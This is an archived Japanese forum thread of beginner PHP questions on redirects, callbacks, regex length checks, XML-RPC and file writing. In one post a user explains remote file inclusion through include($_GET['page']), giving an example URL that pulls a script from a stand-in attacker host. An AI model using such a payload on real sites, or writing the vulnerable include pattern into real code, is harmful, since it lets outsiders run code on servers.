トップページ⇒php
1001コメント305KB

【PHP】下らねぇ質問はここに書き込みやがれ 57

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2007/10/22(月) 23:10:36ID:mIlonsko
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 56
http://pc11.2ch.net/test/read.cgi/php/1192092941/

◆質問する時の注意
・ sage進行(メール欄にsageと記入すること)「sage進行」とはスレを目立つ上部に上げないことによって、荒らしが発見できないようにすることです
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
・ 書き込むときには、「公式マニュアル、リファレンス本は読みました」と明記すること
(でないと、公式マニュアル読めと煽られます)

◆質問後の注意
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
・質問者が「公式マニュアル読んだ」と書いていないからといって、
公式マニュアルに書いてもいないのに、公式マニュアルよめと適当なことを言わないこと。
質問者は公式マニュアルを読んでいるかもしれない。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0413nobodyさん2007/10/27(土) 21:42:37ID:???
>>411
はいはい、よかったねw
もう出てくるなよ
0414nobodyさん2007/10/27(土) 21:44:18ID:???
>>398
それ、なんでセキュリティホールになるのか教えてくれ
0415nobodyさん2007/10/27(土) 21:44:26ID:???
>>410
セオリーでは代入は外に出すけど、まあそういうののほうが見やすいこともアルカポネ
0416nobodyさん2007/10/27(土) 21:45:14ID:???
>>413
煽られるだけ煽られてPHPの話題についていけなくてワロタw
0417nobodyさん2007/10/27(土) 21:46:08ID:???
>>416
お前がついて行けてないだけだろw
0418nobodyさん2007/10/27(土) 21:48:06ID:???
>>410
if内で代入は無いわ
ただ ! より == false 使いたくなることはある
rubyのunlessも嫌い
0419nobodyさん2007/10/27(土) 21:49:34ID:???
>>417
自白乙
どう見てもついていけてないのはお前ですw
0420nobodyさん2007/10/27(土) 21:54:13ID:???
>>415
>>418
好みの問題ってことか
0421nobodyさん2007/10/27(土) 21:56:37ID:???
>>414
PHPの権限で読める任意のファイルを読み込まされちゃう
PHPのバージョンとか設定によっては外部のPHPコードさえ実行される
http://target.com/target.php?page=http://www.attacker.com/hack.php → include($_GET["page"]);

昔某CMSが盛大にやらかしたよね
0422nobodyさん2007/10/27(土) 22:02:09ID:???
>>421
サンクス
まだ公開してないけど,使ってるわw
こりゃ勉強しないといけないな
0423nobodyさん2007/10/27(土) 22:02:24ID:???
Pythonはifの()で代入できないようになっとるね。
比較と代入が紛らわしかったり、==とまちがえて=としちゃうバグを防ぐためだとか。
04244092007/10/27(土) 22:04:44ID:???
私の質問も答えてください
0425nobodyさん2007/10/27(土) 22:06:38ID:???
>>424
仕様を勉強しろ
0426nobodyさん2007/10/27(土) 22:08:32ID:???
変数 = 式 論理演算子 式;
やっぱ代入文の右辺が評価式になってるっつうのは気持ち悪いというか肌に合わない
他にこういう構文で組める言語ってある?
0427nobodyさん2007/10/27(土) 22:08:42ID:???
http://blog.goo.ne.jp/kamimura40
0428nobodyさん2007/10/27(土) 23:20:58ID:DskU7Uv6
済みません。
教えてください。

PHP4で携帯サイト造ってるんですが
<?php
if($_POST["send"]){
header('Location: b.php',true,307);
}
?>
<html>
<head>
<body>
<form name="form1" method="POST" action="a.php">
<input type="text">
<input type="submit" name="send">
</form>
</body>
</html>
って感じでa.phpからb.phpにリダイレクトしたいんですが
DOCOMOだと「指定されたURLは無効です」って言う
エラーが出てしまいます。
(AUだと問題なくリダイレクトできました)
何が悪くて如何解決すれば良いのか教えて頂けないでしょうか?
0429sage2007/10/27(土) 23:21:55ID:DskU7Uv6
済みません・・・
下げ忘れました・・・
よろしくお願いします。
0430nobodyさん2007/10/27(土) 23:22:25ID:???
済みません・・・
下げ間違えました・・・
0431nobodyさん2007/10/28(日) 00:20:23ID:J8S2LPG/
質問します。 アンケートフォームのような「記入」→「確認」→「送信」という
一般的な登録システムで、確認画面から記入ページに戻った時に
さっき入力していた文言がそのまま残ってるようにしたいんですが、
これは <input name="namae" value="<?php echo $_SESSION['namae']; ?>" type="text">
て風にするんでしょうか?

というか、普通にブラウザのバックボタンやキーボードのbackspaceでもどっても
記入されてる場合が最近は多い気がしますが、念のため上のような処理にしたほうが
いいのか、それとも気にしなくてもいいのか… その辺も含めて、
あれはどうやって実現してるのか教えてください。
環境はwinXP apache2 php5です
0432nobodyさん2007/10/28(日) 00:22:49ID:???
>>428
Locationが相対URLだからじゃないの?RFC的には絶対URLで指定するべきだし
あとPOSTのレスポンスで30xが来ても自動的にリダイレクト先をGETしないのが
正しいクライアントの動作だった気がする

個別の端末の動作は知らんので携帯スレでw
0433nobodyさん2007/10/28(日) 01:00:17ID:???
トリック・オア・トリート(Trick or treat. お菓子をくれなきゃ、いたずらするぞ)

のオア
0434nobodyさん2007/10/28(日) 01:04:03ID:???
携帯スレはずいぶん前に腐海にのまれたよ
0435nobodyさん2007/10/28(日) 01:22:15ID:???
>>431
普通でOK
0436nobodyさん2007/10/28(日) 01:26:28ID:???
>>431
typeを後ろに書くあたりソースの書き方が気に入らない
0437nobodyさん2007/10/28(日) 01:35:29ID:???
ステレオtypeですか
0438nobodyさん2007/10/28(日) 01:45:48ID:???
>>432
有難う御座います。
絶対パスで書いたら上手く行きました。
スレ汚し失礼しました。
0439nobodyさん2007/10/28(日) 01:46:48ID:???
どういたまして。
0440nobodyさん2007/10/28(日) 04:10:25ID:???
クラスのメソッド内の処理って
メソッドを実行したときに初めて読み込まれるのでしょうか?
それともオブジェクト生成した時点で読み込まれるのでしょうか?
0441nobodyさん2007/10/28(日) 04:13:05ID:???
この一年流れについていけなかった。で、俺の給料はどうなるのよ

06年 5月 05年度決算の赤字転落を公表
07年 2月 特定商取引法違反の疑いで経産省と東京都が立ち入り検査
    4月 最高裁、解約精算方法に違法判断
    6月 経産省が一部業務停止命令
   10月 会社更生法の適用を申請
0442nobodyさん2007/10/28(日) 04:14:16ID:???
素朴な疑問なんだが、
コンストラクタ内で return $var したらどうなるの?
0443nobodyさん2007/10/28(日) 04:15:01ID:???
試してみればいいじゃん
0444nobodyさん2007/10/28(日) 04:18:27ID:???
>>440
オブジェクトを生成した時点でメモリ上に組み込まれる。
読み込み自体はもっと早く、ソース上で定義した時点で行われてるが
多分、そういう意味ではないんだよな?
0445nobodyさん2007/10/28(日) 04:21:48ID:???
>>442
意味はない
不都合もない
0446nobodyさん2007/10/28(日) 04:22:32ID:???
はい?コンストラクタから値を返すには必要だろ
0447nobodyさん2007/10/28(日) 04:26:06ID:???
>>446
コンストラクタの本質的な意味を理解していない低脳を発見。
0448nobodyさん2007/10/28(日) 04:29:28ID:???
じゃ何なんだよ
0449nobodyさん2007/10/28(日) 04:59:13ID:???
これは罠よ!
コンストラクタで別に初期値設定しなくてもいいのに値を代入して、
おざなりのゲッタだのセッタだのして、
大げさにメゾlるどから値返すような人生に疑問を感じたんでしょ?w
0450nobodyさん2007/10/28(日) 05:04:31ID:???
コンストラクタが何をする場所か考えれば
returnなんてしようと普通思わないと思うんだけど
0451nobodyさん2007/10/28(日) 05:04:59ID:???
いや、
コンストラクタのロードタイミングも考慮せずに、
返り値の議論をしているから、それが片手落ちの低脳と申し上げたまで。
0452nobodyさん2007/10/28(日) 05:08:16ID:???
>>446
値を返すコンストラクタってどんなやつ?
0453nobodyさん2007/10/28(日) 05:11:14ID:???
>>451
ロードタイミングってなんだよ・・・・
0454nobodyさん2007/10/28(日) 05:14:43ID:???
>>453 虎舞竜
0455nobodyさん2007/10/28(日) 05:16:13ID:???
>>451
まさかコンストラクタをメソッドとしてヨブ記じゃあるまいな
0456nobodyさん2007/10/28(日) 05:21:22ID:???
PHPでジョージのことなんて考える必要ないし
0457nobodyさん2007/10/28(日) 06:25:49ID:???
もしかして451は440と442を混同している困ったちゃんじゃ?
0458nobodyさん2007/10/28(日) 09:03:29ID:???
451はプログラムのことは何もわかっていない、
たぶん昨日から居座っている奴だから
相手にしないこと
0459nobodyさん2007/10/28(日) 09:27:37ID:1rvp1hq4
>>435
ありがとうございます。普通でいいとはどういうことですか?
valueにセッションの値を代入みたいな処理は不要と考えて良いんでしょうか?

つまらない質問かもしれないですが、回答お願いします
0460nobodyさん2007/10/28(日) 09:46:50ID:MkUMoDKr
PHPからXML-RPCでブログにFC2と、忍者ブログに投稿しようとしているのですが、
ttp://atamanote.blog48.fc2.com/blog-entry-47.html
ここで書かれているコードを、

$blogs = array_map( 'array_convEnc', XML_RPC_decode( $result->value() ) );

となっているところを、

foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}

こう変えて、エラーをなくしたのですが、FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
忍者ブログでは、投稿すらされません。

他にどこをいじれば、また、代替案などはあるのでしょうか?

忍者ブログは、BlogPet用のXML-RPCエンドポイントを使用しています。
ttp://www.ninja.co.jp/faq/a/169/
0461nobodyさん2007/10/28(日) 09:53:37ID:???
エラー無くすだけじゃなくてちゃんと意味も考えようよ
0462nobodyさん2007/10/28(日) 10:03:47ID:???
xajaxというものを見つけたのですが、あまり使われていなのでしょうか?
04634602007/10/28(日) 10:43:06ID:MkUMoDKr
>>461
エラー見る限り、クラス内でコールバック関数は動かないのかと思って、
配列でちゃんと動くよう改良したのですが・・・
0464nobodyさん2007/10/28(日) 10:56:12ID:???
>>463
http://www.php.net/callback
http://www.php.net/array_map
http://www.php.net/mb_convert_encoding
http://www.php.net/froeach
0465nobodyさん2007/10/28(日) 10:57:13ID:???
間違えたけどfroeachでも飛んでくれるんだなw
04664602007/10/28(日) 11:43:40ID:MkUMoDKr
>>464
どうしても、
The first argument, 'array_convEnc', should be either NULL or a valid callback

つまり、第一引数でarray_convEncが有効じゃないって、意味だと思うのですが、どういうことだかさっぱりです。

XML_RPC_decode( $result->value() )
で返される値は配列じゃないので、array_mapはなんかおかしい気がするのですが・・・
0467nobodyさん2007/10/28(日) 12:00:49ID:???
>>466
第一引数の問題だったらarray_convEnc()側の定義ミスかなんかだろ。
第二引数が配列かどうか以前。

つか、XML_RPC_decode()が配列を返さないんなら
foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こっちだって正常に動かないじゃん。
言ってることとやってることがかみ合ってないぞ。
0468nobodyさん2007/10/28(日) 12:21:23ID:MkUMoDKr
>>467
>>466にはさっき気づいたんです。ちゃんと確かめてなかった。
一応、array_convEnc晒しておきます。
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}

一応、クラス内の関数でコールバックしてるので、どうなのかなと。
クラス外に関数化すると、
Argument #2 should be an array
第二引数が配列ではない、ってことなので、
call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
にしてみたところ、エラーは出なくなりました。

ただ、
>FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
問題が解決してない・・・
0469nobodyさん2007/10/28(日) 13:08:03ID:???
>>468
いやあのさ、
The first argument, 'array_convEnc', should be either NULL or a valid callback
このエラーはarray_convEnc()なんて関数はどこにもねーよ!ってエラーであって
関数の中身なんて関係ないのよ。
お前のソースの書き方そのものがどっか間違ってる可能性が高いってこと。
0470nobodyさん2007/10/28(日) 13:16:50ID:???
>>468
> 第二引数が配列ではない、ってことなので、
> call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
> にしてみたところ、エラーは出なくなりました。
なんだそれ?
何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
エラーを出したくないだけで意味のないソースを書くなら、
1行も書かないのが1番早いんだぞ。

ようするにXML_RPC_decode()は入力も出力も配列じゃなくて、
$result->value()の結果は配列なんだろ。
だったら

$blogs = array_map( 'array_convEnc', $result->value() );

function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return XML_RPC_decode( mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] ) );
}

とするべきだろう。
つか、元々のコード自体がバグってるだけなんだから
blogの主にゴラァしろよ。
でなきゃ人のコードぱくらず自分で全部作れ。
04714702007/10/28(日) 13:18:51ID:???
おっと、処理の順番間違った。
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
XML_RPC_decode($a), mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こうだな。
04724602007/10/28(日) 13:27:00ID:MkUMoDKr
では、質問変えますが、クラス内にある関数をクラス内でコールバックするにはどうすればいいのでしょうか?

>>470
>何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
クラス内での関数が有効化されてないと思って、クラス外に置いただけです。


>でなきゃ人のコードぱくらず自分で全部作れ。
これに関してはまったく反論の余地がありません。
もう少し自分で練ってみます。
0473nobodyさん2007/10/28(日) 13:36:22ID:???
マニュアルよまんと、なんですぐ書いてまうん?
ttp://jp.php.net/manual/ja/language.pseudo-types.php#language.types.callback
0474nobodyさん2007/10/28(日) 13:54:03ID:???
理解度が低いとマニュアルを読んでも当該箇所を見つけられないから

嘘は言ってない
0475nobodyさん2007/10/28(日) 14:03:16ID:???
つーか、作者本人に言えばいいのに…
なんで他人の他人なんて縁遠いやつのコードをデバッグしてやらにゃならんのだ。
0476nobodyさん2007/10/28(日) 14:06:38ID:ih5Shsjs
質問させて下さい

php5.2.3です。

文字数制限で文字数を超えたら書き込みできないように設定したいのですが
if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))

10〜50文字で書き込まないと書き込めないようにしてるのですが機能しません;;
よろしければどのように書いてやればいいのか教えて下さい。



0477nobodyさん2007/10/28(日) 14:08:16ID:???
その正規表現の意味を考えれば当然だろ・・・
mb_strlenでも使っとけ
0478nobodyさん2007/10/28(日) 14:09:41ID:???
>>476
if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))
↓
if(ereg("[(.*)]{10,50}", $abc))


もっとよさげなのがある気がする
0479nobodyさん2007/10/28(日) 14:15:50ID:???
それでも50超えたら50までがマッチしてパスするんじゃないの
0480nobodyさん2007/10/28(日) 14:17:21ID:???
あとNULL挟んでもっと長い文字送りつけられる可能性があるからpregのほうが安全だと思う
0481nobodyさん2007/10/28(日) 14:21:36ID:g2sP/S0K
mb系とiconv系って
どうやって使い分けたらいいですか?
どっちを使えばいいのか分かりません
0482nobodyさん2007/10/28(日) 14:24:06ID:ih5Shsjs
>>477-480さんレス有難うございます

if(ereg("[(.*)]{10,50}", $abc)) こちらで確認できました。有難うございます!

preg_matchの方でやってみたいと思います。

本当に助かりましたm(_ _"m)ペコリ
親切にありがとうございます!(感謝しています)
0483nobodyさん2007/10/28(日) 15:16:12ID:???
>>482
いやそれ…ホントに機能してる?
確認方法間違ってね?

if(ereg("^.{10,50}$", $abc))
じゃなきゃダメだろ?
0484nobodyさん2007/10/28(日) 15:55:57ID:ih5Shsjs
>>483
確認しましたら50文字以上も記述されるようになってました。

>>483
こちらで教えてもらった方法でしたら
あいうえおなど半角記号英数字以外でも記述されるようになってしまっています・・・。

勉強してきます(汗
0485nobodyさん2007/10/28(日) 15:59:56ID:ih5Shsjs
ごめんなさいできました!
>>483
愛してます!
0486nobodyさん2007/10/28(日) 16:05:29ID:???
きんもーっ☆
0487nobodyさん2007/10/28(日) 16:07:25ID:???
>>472
>>463で出されてるのに見てもないのね。質問者として最悪だよ。
0488nobodyさん2007/10/28(日) 16:10:24ID:???
結局480が言うようなNULL挟んだ文字列でアボーソ
0489nobodyさん2007/10/28(日) 16:48:47ID:???
>>487
たぶんIDみれば世界が変わる気がする
0490nobodyさん2007/10/28(日) 16:54:12ID:???
>>489
どういうこと?
0491nobodyさん2007/10/28(日) 17:19:31ID:???
>>490
同じIDで同じようなこと言ってないか?ってこと

まあ、クラスのハンドルできない俺は答えられないけど
0492nobodyさん2007/10/28(日) 20:03:49ID:???
fopen()を使ってXMLファイルを出力していたのですが
サーバのPHPがSafeModeで動作しておりfopen()が使えません。

CGI版で動かす方法も試そうと思ったのですが、サーバが
モジュール版で動作しているためそれもできませんでした。

良い代替方法はありますか?
0493nobodyさん2007/10/28(日) 21:50:31ID:???
>>492
file_put_contents
0494nobodyさん2007/10/28(日) 21:54:36ID:B6O0ATcQ
PHPでWindows向けアプリを作りたいのですが、
WinBinder+Bamcompilerがついてる開発向けソフトなどまだないのでしょうか?
0495nobodyさん2007/10/28(日) 22:28:46ID:???
>>496
新しい関数があったんですね。助かりました、ありがとうございます。
0496nobodyさん2007/10/28(日) 22:44:24ID:???
>>494
おとなしくCやJavaで作ったほうがいいよ。
0497nobodyさん2007/10/29(月) 01:01:20ID:???
yesかnoでお答えください
0498nobodyさん2007/10/29(月) 01:11:02ID:???
じゃあyesで

何が?
0499nobodyさん2007/10/29(月) 02:16:49ID:/JLEVJSc
1行掲示板みたいなのを初めて作っています。
教えて下さい。

やりたいことは最後に書き込みをした人の時間を取得して表示させたいんです。


$now = gmdate("Y/m/d H:i", time()+9*60*60); が時間を取得しています。

下記のように実行させて表示させたいのですが、どこか参考になるサイトなどないでしょうか?

<?php
$lastmod = date ("Y/m/d H:i:s", getlastmod());
echo "最終更新日: " . date ($lastmod);
?>
0500nobodyさん2007/10/29(月) 02:19:47ID:???
>>499
方法を教えてほしいのか
サイトを教えてほしいのか
どっちかにしろ
0501nobodyさん2007/10/29(月) 02:27:27ID:???
echo "最終更新日: " . $lastmod;
05024992007/10/29(月) 02:29:35ID:???
>>500
方法でしたm(_ _"m)ペコリ

>>501
有難うございます!!
大変助かりました。
0503nobodyさん2007/10/29(月) 03:31:02ID:LZFfsiWa
ローカルにa.phpがありまして、
リモート上にb.php(http://www.example.com/b.php)があります。

ローカルのa.phpからrequire_onceを使ってb.phpを実行するまでは出来たのですが、
b.phpでセットした値をa.phpで使用する方法が分からず悩んでいます。

呼び先のphpから呼び元のphpへデータを返す方法を教えていただけませんでしょうか。
宜しくお願いします。
0504nobodyさん2007/10/29(月) 03:41:39ID:???
>>503
それあんたの言う「リモート」って関係あるか?
require_onceでファイルだけ読込んであんたの言う「ローカル」で実行してるんだろ?
0505nobodyさん2007/10/29(月) 03:44:53ID:???
>>503
あんたのいう「データ」が何なのかわからんけど
普通にGETで渡すとかSESSIONとか使えばいいんじゃね
0506nobodyさん2007/10/29(月) 03:45:56ID:???
つーか外部スクリプトの変数やら定数やらを取得できたら大変なことに。
0507nobodyさん2007/10/29(月) 03:48:54ID:???
HACK天国
0508nobodyさん2007/10/29(月) 03:53:30ID:???
>>503
まず具体的に何をしたいのか、どんなプログラムを作りたいのか言ったほうが早いよ

ある所から値を取り出したいなら、XMLなりシリアライズなりCSVなりファイルをphpで生成したほうがいいんじゃない?
0509nobodyさん2007/10/29(月) 03:55:34ID:???
>>506が指摘してる通りセキュリティ的にそんなことできない。
たとえば配布されているスクリプトを考えて欲しい。
掲示板にせよアップローダにせよ、管理者のパスワードを設定する項目があるだろう。
パスワードが格納される変数は通常変更しないし、ファイル名もそのまま使うだろう。
(もし変更した場合、関連箇所を全て修正しないといけない)
となると、配布されているスクリプトの場合、
パスワードが格納されている変数と、パスワードが記述されているファイル名は、
第三者でも容易にわかってしまうわけだ。
たとえばhttp://example.com/conf.phpがパスワードが記述されているファイル名として、
$passwordにパスワードが格納されているとすると、
ローカルから
require_once("http://example.com/conf.php";);
echo $password;
なんてできたら大変なことになるだろう?ちょっと考えればわかるはずだ。
0510nobodyさん2007/10/29(月) 04:09:41ID:LZFfsiWa
>>504-509
深夜に色々とアドバイス頂きましてどうもありがとうございました。

私のやりたい事は、>>509さんのご指摘の通り、
で、b.php側で
function foo() {
$data = "";
return $data;
}
とやって、ローカル側のa.phpで$dataが取得できたら、と思っていました。

でも、確かに、よく考えればセキュリティー上許されないですね。すみません。

>>508のアドバイス通り、一回ファイルをサーバー側で生成して
それを見に行く方法しかないみたいです。

# 初めファイル経由でデータをサーバーから受け取ろうとしたのですが、
# 一つの変数を受け取るのに一時ファイルを作るに抵抗を感じいました。
# ソケット経由でデータを受け取る方法も考えたですが、それも大げさかなぁ、と思って安易に考えていました。

どうも、ありがとうございました。
05115082007/10/29(月) 04:17:56ID:???
>>510
ちょ、呼び捨て?w

http://jp.php.net/manual/ja/function.include.php
ここ読むとincludeによる読み込みは出来るみたいだぞ

まぁ、値渡したいだけなら>>508とかの方法にしたほうがいいけど
0512nobodyさん2007/10/29(月) 04:20:32ID:???
よぉ>>508、調子はどうだい
■ このスレッドは過去ログ倉庫に格納されています